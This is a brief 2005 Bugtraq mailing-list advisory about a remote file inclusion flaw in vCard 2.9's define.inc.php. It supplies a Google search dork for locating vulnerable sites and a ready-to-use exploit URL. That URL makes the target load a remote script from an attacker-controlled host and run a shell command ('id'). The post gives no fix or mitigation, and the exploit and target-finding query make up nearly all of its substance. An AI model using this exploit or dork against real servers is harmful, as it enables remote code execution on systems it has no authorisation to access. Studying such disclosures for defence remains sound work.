[40938] in bugtraq
Remote File Inclusion in vCard :)
daemon@ATHENA.MIT.EDU (X@securityfocus.com,"[AT]"@securit)
Sat Oct 29 18:33:42 2005
Date: 25 Oct 2005 22:35:07 -0000
Message-ID: <20051025223507.1391.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: X@securityfocus.com, "[AT]"@securityfocus.com, Hotmail@securityfocus.com,
"[D0T].CoM"@securityfocus.com
To: bugtraq@securityfocus.com
Remote File Inclusion in :-
--------------------------
vCard
Date :-
------
26/10/2005
version :-
---------
2.9
The bug reside in :-
-------------------
define.inc.php
And error in :-
--------------
online.inc.php
search google :-
---------------
powered by vCard 2.9 & allinurl:vCard
Exploit :-
---------
http://www.host.com/vCard/admin/define.inc.php?match=http://www.host_evil.com/cmd.gif?&cmd=id
Discovery by [ x ]
